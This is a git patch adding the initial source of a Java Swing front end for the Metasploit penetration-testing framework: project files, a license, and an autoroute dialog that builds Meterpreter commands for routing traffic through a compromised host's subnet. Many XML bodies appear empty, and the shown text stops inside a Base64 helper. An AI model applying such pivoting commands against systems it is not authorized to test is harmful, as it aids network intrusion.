From dcb3ab6441575fe199afc42df6836fb60f37137a Mon Sep 17 00:00:00 2001 From: Matt Weeks Date: Tue, 13 Jul 2010 22:43:43 +0000 Subject: [PATCH] Initial commit of Java Metasploit GUI source. Netbeans project files included. git-svn-id: file:///home/svn/framework3/trunk@9815 4d416f70-5f16-0410-b530-b9f4589650da --- external/source/gui/msfguijava/LICENSE | 28 + external/source/gui/msfguijava/build.xml | 74 ++ external/source/gui/msfguijava/manifest.mf | 3 + .../gui/msfguijava/nbproject/build-impl.xml | 805 +++++++++++++ .../msfguijava/nbproject/genfiles.properties | 8 + .../msfguijava/nbproject/project.properties | 67 ++ .../gui/msfguijava/nbproject/project.xml | 19 + .../org.jdesktop.application.Application | 1 + .../src/msfgui/AutorouteOptionsDialog.form | 110 ++ .../src/msfgui/AutorouteOptionsDialog.java | 117 ++ .../gui/msfguijava/src/msfgui/Base64.java | 121 ++ .../msfguijava/src/msfgui/EditorWindow.form | 88 ++ .../msfguijava/src/msfgui/EditorWindow.java | 109 ++ .../msfguijava/src/msfgui/InteractWindow.form | 97 ++ .../msfguijava/src/msfgui/InteractWindow.java | 228 ++++ .../msfguijava/src/msfgui/JobInfoPopup.form | 83 ++ .../msfguijava/src/msfgui/JobInfoPopup.java | 132 +++ .../gui/msfguijava/src/msfgui/MainFrame.form | 497 ++++++++ .../gui/msfguijava/src/msfgui/MainFrame.java | 1035 +++++++++++++++++ .../src/msfgui/MeterpFileBrowser.form | 176 +++ .../src/msfgui/MeterpFileBrowser.java | 503 ++++++++ .../msfguijava/src/msfgui/ModulePopup.form | 230 ++++ .../msfguijava/src/msfgui/ModulePopup.java | 662 +++++++++++ .../msfguijava/src/msfgui/MsfException.java | 24 + .../gui/msfguijava/src/msfgui/MsfFrame.java | 22 + .../msfguijava/src/msfgui/MsfguiAboutBox.form | 199 ++++ .../msfguijava/src/msfgui/MsfguiAboutBox.java | 140 +++ .../gui/msfguijava/src/msfgui/MsfguiApp.java | 322 +++++ .../gui/msfguijava/src/msfgui/MsfguiLog.java | 228 ++++ .../src/msfgui/MulticommandOptionsDialog.form | 150 +++ .../src/msfgui/MulticommandOptionsDialog.java | 184 +++ .../src/msfgui/NetenumOptionsDialog.form | 173 +++ .../src/msfgui/NetenumOptionsDialog.java | 192 +++ .../src/msfgui/OpenConnectionDialog.form | 224 ++++ .../src/msfgui/OpenConnectionDialog.java | 308 +++++ .../msfguijava/src/msfgui/OptionsDialog.form | 25 + .../msfguijava/src/msfgui/OptionsDialog.java | 45 + .../msfguijava/src/msfgui/PayloadPopup.form | 399 +++++++ .../msfguijava/src/msfgui/PayloadPopup.java | 688 +++++++++++ .../src/msfgui/PersistenceOptionsDialog.form | 199 ++++ .../src/msfgui/PersistenceOptionsDialog.java | 215 ++++ .../src/msfgui/PopupMouseListener.java | 28 + .../msfguijava/src/msfgui/ProcessList.form | 116 ++ .../msfguijava/src/msfgui/ProcessList.java | 231 ++++ .../msfguijava/src/msfgui/ProcessWindow.form | 69 ++ .../msfguijava/src/msfgui/ProcessWindow.java | 91 ++ .../msfgui/RemoteWinenumOptionsDialog.form | 132 +++ .../msfgui/RemoteWinenumOptionsDialog.java | 137 +++ .../gui/msfguijava/src/msfgui/RpcAction.java | 39 + .../msfguijava/src/msfgui/RpcConnection.java | 300 +++++ .../msfguijava/src/msfgui/RunMenuFactory.java | 12 + .../src/msfgui/ScheduleTaskOptionsDialog.form | 319 +++++ .../src/msfgui/ScheduleTaskOptionsDialog.java | 308 +++++ .../src/msfgui/SearchDwldOptionsDialog.form | 152 +++ .../src/msfgui/SearchDwldOptionsDialog.java | 166 +++ .../msfguijava/src/msfgui/SearchWindow.form | 237 ++++ .../msfguijava/src/msfgui/SearchWindow.java | 307 +++++ .../msfguijava/src/msfgui/SessionCommand.java | 59 + .../msfguijava/src/msfgui/SessionsTable.java | 63 + .../msfguijava/src/msfgui/TableHelper.java | 54 + .../src/msfgui/UploadexecOptionsDialog.form | 160 +++ .../src/msfgui/UploadexecOptionsDialog.java | 184 +++ .../msfguijava/src/msfgui/UserPassDialog.form | 139 +++ .../msfguijava/src/msfgui/UserPassDialog.java | 163 +++ .../src/msfgui/WinbfOptionsDialog.form | 154 +++ .../src/msfgui/WinbfOptionsDialog.java | 190 +++ .../AutorouteOptionsDialog.properties | 5 + .../msfgui/resources/EditorWindow.properties | 3 + .../resources/InteractWindow.properties | 4 + .../msfgui/resources/JobInfoPopup.properties | 1 + .../src/msfgui/resources/MainFrame.properties | 52 + .../resources/MeterpFileBrowser.properties | 8 + .../msfgui/resources/ModulePopup.properties | 11 + .../resources/MsfguiAboutBox.properties | 16 + .../src/msfgui/resources/MsfguiApp.properties | 11 + .../MulticommandOptionsDialog.properties | 7 + .../resources/NetenumOptionsDialog.properties | 13 + .../resources/OpenConnectionDialog.properties | 15 + .../msfgui/resources/PayloadPopup.properties | 24 + .../PersistenceOptionsDialog.properties | 13 + .../msfgui/resources/ProcessList.properties | 3 + .../msfgui/resources/ProcessWindow.properties | 2 + .../RemoteWinenumOptionsDialog.properties | 9 + .../ScheduleTaskOptionsDialog.properties | 24 + .../SearchDwldOptionsDialog.properties | 9 + .../msfgui/resources/SearchWindow.properties | 17 + .../msfgui/resources/ShellWindow.properties | 4 + .../UploadexecOptionsDialog.properties | 10 + .../resources/UserPassDialog.properties | 7 + .../resources/WinbfOptionsDialog.properties | 10 + .../msfgui/resources/busyicons/busy-icon0.png | Bin 0 -> 3588 bytes .../msfgui/resources/busyicons/busy-icon1.png | Bin 0 -> 3585 bytes .../resources/busyicons/busy-icon10.png | Bin 0 -> 3568 bytes .../resources/busyicons/busy-icon11.png | Bin 0 -> 3581 bytes .../resources/busyicons/busy-icon12.png | Bin 0 -> 3589 bytes .../resources/busyicons/busy-icon13.png | Bin 0 -> 3586 bytes .../resources/busyicons/busy-icon14.png | Bin 0 -> 3586 bytes .../msfgui/resources/busyicons/busy-icon2.png | Bin 0 -> 3585 bytes .../msfgui/resources/busyicons/busy-icon3.png | Bin 0 -> 3572 bytes .../msfgui/resources/busyicons/busy-icon4.png | Bin 0 -> 3576 bytes .../msfgui/resources/busyicons/busy-icon5.png | Bin 0 -> 3580 bytes .../msfgui/resources/busyicons/busy-icon6.png | Bin 0 -> 3581 bytes .../msfgui/resources/busyicons/busy-icon7.png | Bin 0 -> 3598 bytes .../msfgui/resources/busyicons/busy-icon8.png | Bin 0 -> 3594 bytes .../msfgui/resources/busyicons/busy-icon9.png | Bin 0 -> 3581 bytes .../msfgui/resources/busyicons/idle-icon.png | Bin 0 -> 3360 bytes .../src/msfgui/resources/msf_file.png | Bin 0 -> 5052 bytes .../src/msfgui/resources/splash.png | Bin 0 -> 103951 bytes 108 files changed, 13018 insertions(+) create mode 100644 external/source/gui/msfguijava/LICENSE create mode 100644 external/source/gui/msfguijava/build.xml create mode 100644 external/source/gui/msfguijava/manifest.mf create mode 100644 external/source/gui/msfguijava/nbproject/build-impl.xml create mode 100644 external/source/gui/msfguijava/nbproject/genfiles.properties create mode 100644 external/source/gui/msfguijava/nbproject/project.properties create mode 100644 external/source/gui/msfguijava/nbproject/project.xml create mode 100644 external/source/gui/msfguijava/src/META-INF/services/org.jdesktop.application.Application create mode 100755 external/source/gui/msfguijava/src/msfgui/AutorouteOptionsDialog.form create mode 100755 external/source/gui/msfguijava/src/msfgui/AutorouteOptionsDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/Base64.java create mode 100755 external/source/gui/msfguijava/src/msfgui/EditorWindow.form create mode 100755 external/source/gui/msfguijava/src/msfgui/EditorWindow.java create mode 100644 external/source/gui/msfguijava/src/msfgui/InteractWindow.form create mode 100644 external/source/gui/msfguijava/src/msfgui/InteractWindow.java create mode 100644 external/source/gui/msfguijava/src/msfgui/JobInfoPopup.form create mode 100644 external/source/gui/msfguijava/src/msfgui/JobInfoPopup.java create mode 100644 external/source/gui/msfguijava/src/msfgui/MainFrame.form create mode 100644 external/source/gui/msfguijava/src/msfgui/MainFrame.java create mode 100644 external/source/gui/msfguijava/src/msfgui/MeterpFileBrowser.form create mode 100644 external/source/gui/msfguijava/src/msfgui/MeterpFileBrowser.java create mode 100644 external/source/gui/msfguijava/src/msfgui/ModulePopup.form create mode 100644 external/source/gui/msfguijava/src/msfgui/ModulePopup.java create mode 100644 external/source/gui/msfguijava/src/msfgui/MsfException.java create mode 100644 external/source/gui/msfguijava/src/msfgui/MsfFrame.java create mode 100644 external/source/gui/msfguijava/src/msfgui/MsfguiAboutBox.form create mode 100644 external/source/gui/msfguijava/src/msfgui/MsfguiAboutBox.java create mode 100644 external/source/gui/msfguijava/src/msfgui/MsfguiApp.java create mode 100644 external/source/gui/msfguijava/src/msfgui/MsfguiLog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/MulticommandOptionsDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/MulticommandOptionsDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/NetenumOptionsDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/NetenumOptionsDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/OptionsDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/OptionsDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/PayloadPopup.form create mode 100644 external/source/gui/msfguijava/src/msfgui/PayloadPopup.java create mode 100755 external/source/gui/msfguijava/src/msfgui/PersistenceOptionsDialog.form create mode 100755 external/source/gui/msfguijava/src/msfgui/PersistenceOptionsDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/PopupMouseListener.java create mode 100755 external/source/gui/msfguijava/src/msfgui/ProcessList.form create mode 100755 external/source/gui/msfguijava/src/msfgui/ProcessList.java create mode 100644 external/source/gui/msfguijava/src/msfgui/ProcessWindow.form create mode 100644 external/source/gui/msfguijava/src/msfgui/ProcessWindow.java create mode 100644 external/source/gui/msfguijava/src/msfgui/RemoteWinenumOptionsDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/RemoteWinenumOptionsDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/RpcAction.java create mode 100644 external/source/gui/msfguijava/src/msfgui/RpcConnection.java create mode 100644 external/source/gui/msfguijava/src/msfgui/RunMenuFactory.java create mode 100644 external/source/gui/msfguijava/src/msfgui/ScheduleTaskOptionsDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/ScheduleTaskOptionsDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/SearchDwldOptionsDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/SearchDwldOptionsDialog.java create mode 100755 external/source/gui/msfguijava/src/msfgui/SearchWindow.form create mode 100755 external/source/gui/msfguijava/src/msfgui/SearchWindow.java create mode 100644 external/source/gui/msfguijava/src/msfgui/SessionCommand.java create mode 100644 external/source/gui/msfguijava/src/msfgui/SessionsTable.java create mode 100644 external/source/gui/msfguijava/src/msfgui/TableHelper.java create mode 100644 external/source/gui/msfguijava/src/msfgui/UploadexecOptionsDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/UploadexecOptionsDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/UserPassDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/UserPassDialog.java create mode 100644 external/source/gui/msfguijava/src/msfgui/WinbfOptionsDialog.form create mode 100644 external/source/gui/msfguijava/src/msfgui/WinbfOptionsDialog.java create mode 100755 external/source/gui/msfguijava/src/msfgui/resources/AutorouteOptionsDialog.properties create mode 100755 external/source/gui/msfguijava/src/msfgui/resources/EditorWindow.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/InteractWindow.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/JobInfoPopup.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/MainFrame.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/MeterpFileBrowser.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/ModulePopup.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/MsfguiAboutBox.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/MsfguiApp.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/MulticommandOptionsDialog.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/NetenumOptionsDialog.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/OpenConnectionDialog.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/PayloadPopup.properties create mode 100755 external/source/gui/msfguijava/src/msfgui/resources/PersistenceOptionsDialog.properties create mode 100755 external/source/gui/msfguijava/src/msfgui/resources/ProcessList.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/ProcessWindow.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/RemoteWinenumOptionsDialog.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/ScheduleTaskOptionsDialog.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/SearchDwldOptionsDialog.properties create mode 100755 external/source/gui/msfguijava/src/msfgui/resources/SearchWindow.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/ShellWindow.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/UploadexecOptionsDialog.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/UserPassDialog.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/WinbfOptionsDialog.properties create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon0.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon1.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon10.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon11.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon12.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon13.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon14.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon2.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon3.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon4.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon5.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon6.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon7.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon8.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon9.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/busyicons/idle-icon.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/msf_file.png create mode 100644 external/source/gui/msfguijava/src/msfgui/resources/splash.png diff --git a/external/source/gui/msfguijava/LICENSE b/external/source/gui/msfguijava/LICENSE new file mode 100644 index 0000000000..b606aa0fe1 --- /dev/null +++ b/external/source/gui/msfguijava/LICENSE @@ -0,0 +1,28 @@ +Copyright (C) 2010, scriptjunkie +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + * Neither the name of msfgui nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + diff --git a/external/source/gui/msfguijava/build.xml b/external/source/gui/msfguijava/build.xml new file mode 100644 index 0000000000..2caa77a8fb --- /dev/null +++ b/external/source/gui/msfguijava/build.xml @@ -0,0 +1,74 @@ + + + + + + + + + + + Builds, tests, and runs the project msfgui. + + + diff --git a/external/source/gui/msfguijava/manifest.mf b/external/source/gui/msfguijava/manifest.mf new file mode 100644 index 0000000000..9cc376074a --- /dev/null +++ b/external/source/gui/msfguijava/manifest.mf @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +X-COMMENT: Main-Class will be added automatically by build +SplashScreen-Image: msfgui/resources/splash.png diff --git a/external/source/gui/msfguijava/nbproject/build-impl.xml b/external/source/gui/msfguijava/nbproject/build-impl.xml new file mode 100644 index 0000000000..da1b7e1c1d --- /dev/null +++ b/external/source/gui/msfguijava/nbproject/build-impl.xml @@ -0,0 +1,805 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set src.dir + Must set test.src.dir + Must set build.dir + Must set dist.dir + Must set build.classes.dir + Must set dist.javadoc.dir + Must set build.test.classes.dir + Must set build.test.results.dir + Must set build.classes.excludes + Must set dist.jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + + + + + + java -cp "${run.classpath.with.dist.jar}" ${main.class} + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + java -jar "${dist.jar.resolved}" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + Must select one file in the IDE or set run.class + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set debug.class + + + + + Must select one file in the IDE or set debug.class + + + + + Must set fix.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + Some tests failed; see details above. + + + + + + + + + Must select some files in the IDE or set test.includes + + + + Some tests failed; see details above. + + + + + Must select one file in the IDE or set test.class + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/gui/msfguijava/nbproject/genfiles.properties b/external/source/gui/msfguijava/nbproject/genfiles.properties new file mode 100644 index 0000000000..da2eeff018 --- /dev/null +++ b/external/source/gui/msfguijava/nbproject/genfiles.properties @@ -0,0 +1,8 @@ +build.xml.data.CRC32=84c180dd +build.xml.script.CRC32=7b4769ae +build.xml.stylesheet.CRC32=958a1d3e@1.32.1.45 +# This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml. +# Do not edit this file. You may delete it but then the IDE will never regenerate such files for you. +nbproject/build-impl.xml.data.CRC32=84c180dd +nbproject/build-impl.xml.script.CRC32=f85285ea +nbproject/build-impl.xml.stylesheet.CRC32=576378a2@1.32.1.45 diff --git a/external/source/gui/msfguijava/nbproject/project.properties b/external/source/gui/msfguijava/nbproject/project.properties new file mode 100644 index 0000000000..4e89e52dc9 --- /dev/null +++ b/external/source/gui/msfguijava/nbproject/project.properties @@ -0,0 +1,67 @@ +application.desc=A simple java desktop application based on Swing Application Framework +application.homepage=http://appframework.dev.java.net +application.title=Basic Application Example +application.vendor=Sun Microsystems Inc. +build.classes.dir=${build.dir}/classes +build.classes.excludes=**/*.form,**/*.java +# This directory is removed when the project is cleaned: +build.dir=build +build.generated.dir=${build.dir}/generated +build.generated.sources.dir=${build.dir}/generated-sources +# Only compile against the classpath explicitly listed here: +build.sysclasspath=ignore +build.test.classes.dir=${build.dir}/test/classes +build.test.results.dir=${build.dir}/test/results +debug.classpath=\ + ${run.classpath} +debug.test.classpath=\ + ${run.test.classpath} +# This directory is removed when the project is cleaned: +dist.dir=dist +dist.jar=${dist.dir}/msfgui.jar +dist.javadoc.dir=${dist.dir}/javadoc +endorsed.classpath= +excludes= +includes=** +jar.compress=false +javac.classpath=\ + ${libs.swing-app-framework.classpath} +# Space-separated list of extra javac options +javac.compilerargs= +javac.deprecation=false +javac.source=1.5 +javac.target=1.5 +javac.test.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir}:\ + ${libs.junit.classpath}:\ + ${libs.junit_4.classpath} +javadoc.additionalparam= +javadoc.author=false +javadoc.encoding=${source.encoding} +javadoc.noindex=false +javadoc.nonavbar=false +javadoc.notree=false +javadoc.private=false +javadoc.splitindex=true +javadoc.use=true +javadoc.version=false +javadoc.windowtitle= +jaxbwiz.endorsed.dirs="${netbeans.home}/../ide12/modules/ext/jaxb/api" +main.class=msfgui.MsfguiApp +manifest.file=manifest.mf +meta.inf.dir=${src.dir}/META-INF +platform.active=default_platform +run.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +# Space-separated list of JVM arguments used when running the project +# (you may also define separate properties like run-sys-prop.name=value instead of -Dname=value +# or test-sys-prop.name=value to set system properties for unit tests): +run.jvmargs= +run.test.classpath=\ + ${javac.test.classpath}:\ + ${build.test.classes.dir} +source.encoding=UTF-8 +src.dir=src +test.src.dir=test diff --git a/external/source/gui/msfguijava/nbproject/project.xml b/external/source/gui/msfguijava/nbproject/project.xml new file mode 100644 index 0000000000..eebb70e426 --- /dev/null +++ b/external/source/gui/msfguijava/nbproject/project.xml @@ -0,0 +1,19 @@ + + + org.netbeans.modules.java.j2seproject + + + msfgui + 1.6.5 + + + + + + + + + + + + diff --git a/external/source/gui/msfguijava/src/META-INF/services/org.jdesktop.application.Application b/external/source/gui/msfguijava/src/META-INF/services/org.jdesktop.application.Application new file mode 100644 index 0000000000..a08189a017 --- /dev/null +++ b/external/source/gui/msfguijava/src/META-INF/services/org.jdesktop.application.Application @@ -0,0 +1 @@ +msfgui.MsfguiApp \ No newline at end of file diff --git a/external/source/gui/msfguijava/src/msfgui/AutorouteOptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/AutorouteOptionsDialog.form new file mode 100755 index 0000000000..5fda8215b7 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/AutorouteOptionsDialog.form @@ -0,0 +1,110 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/AutorouteOptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/AutorouteOptionsDialog.java new file mode 100755 index 0000000000..628ed60315 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/AutorouteOptionsDialog.java @@ -0,0 +1,117 @@ +package msfgui; + +/** + * + * @author scriptjunkie + */ +public class AutorouteOptionsDialog extends OptionsDialog { + + /** Creates new form AutorouteOptionsDialog */ + public AutorouteOptionsDialog(MainFrame parent, boolean modal) { + super(parent.getFrame(), "Autoroute Options", modal); + initComponents(); + try{ + ipField.setText(parent.session.get("tunnel_peer").toString().split(":")[0]+"/24"); + }catch(NullPointerException nex){ + } + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + buttonGroup1 = new javax.swing.ButtonGroup(); + addRouteButton = new javax.swing.JRadioButton(); + deleteRouteButton = new javax.swing.JRadioButton(); + subnetLabel = new javax.swing.JLabel(); + ipField = new javax.swing.JTextField(); + okButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + buttonGroup1.add(addRouteButton); + addRouteButton.setSelected(true); + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(AutorouteOptionsDialog.class); + addRouteButton.setText(resourceMap.getString("addRouteButton.text")); // NOI18N + addRouteButton.setName("addRouteButton"); // NOI18N + + buttonGroup1.add(deleteRouteButton); + deleteRouteButton.setText(resourceMap.getString("deleteRouteButton.text")); // NOI18N + deleteRouteButton.setName("deleteRouteButton"); // NOI18N + + subnetLabel.setText(resourceMap.getString("subnetLabel.text")); // NOI18N + subnetLabel.setName("subnetLabel"); // NOI18N + + ipField.setText(resourceMap.getString("ipField.text")); // NOI18N + ipField.setName("ipField"); // NOI18N + + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(addRouteButton) + .addGap(18, 18, 18) + .addComponent(deleteRouteButton)) + .addGroup(layout.createSequentialGroup() + .addComponent(subnetLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ipField, javax.swing.GroupLayout.DEFAULT_SIZE, 314, Short.MAX_VALUE)) + .addComponent(okButton, javax.swing.GroupLayout.Alignment.TRAILING)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(addRouteButton) + .addComponent(deleteRouteButton)) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(subnetLabel) + .addComponent(ipField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(okButton) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + if(addRouteButton.isSelected()) + command = "autoroute -s " + ipField.getText(); + else + command = "autoroute -d -s " + ipField.getText(); + setVisible(false); + dispose(); + }//GEN-LAST:event_okButtonActionPerformed + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JRadioButton addRouteButton; + private javax.swing.ButtonGroup buttonGroup1; + private javax.swing.JRadioButton deleteRouteButton; + private javax.swing.JTextField ipField; + private javax.swing.JButton okButton; + private javax.swing.JLabel subnetLabel; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/Base64.java b/external/source/gui/msfguijava/src/msfgui/Base64.java new file mode 100644 index 0000000000..3453d8b2a1 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/Base64.java @@ -0,0 +1,121 @@ +package msfgui; + +import java.io.*; + +/** + * Simple Base64 encoding/decoding. Very loosely based on Apache Base64 class. + * + * @author scriptjunkie + */ +public class Base64 { + private static final char intToBase64[] = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', + 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', + 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', + 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', + 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', + '8', '9', '+', '/' + }; + private static final byte base64ToInt[] = { + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, 62, -1, 